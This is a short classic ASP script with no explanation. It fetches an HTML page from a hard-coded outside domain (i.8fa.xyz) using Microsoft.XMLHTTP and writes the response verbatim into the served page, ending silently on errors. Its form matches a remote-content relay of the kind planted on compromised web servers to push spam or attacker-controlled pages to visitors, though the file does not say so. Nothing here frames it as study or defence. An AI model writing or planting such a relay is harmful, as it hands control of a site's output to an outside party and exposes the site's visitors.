<% Const adTypeBinary = 1 Const adTypeText = 2 Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") With BytesStream .Type = adTypeText .Open .WriteText vin .Position = 0 .Charset = "UTF-8" .Position = 2 StringReturn = .ReadText .close End With Set BytesStream = Nothing Bytes2bStr = StringReturn End Function url="http://i.8fa.xyz/a/01.html" set oSend=createobject("Microsoft.XMLHTTP") SourceCode = oSend.open ("GET",url,false) oSend.send() if err.number<>0 then 'Response.write err.description Response.End() end if SourceCode = bytes2BSTR(oSend.responseBody) response.Write(SourceCode) %>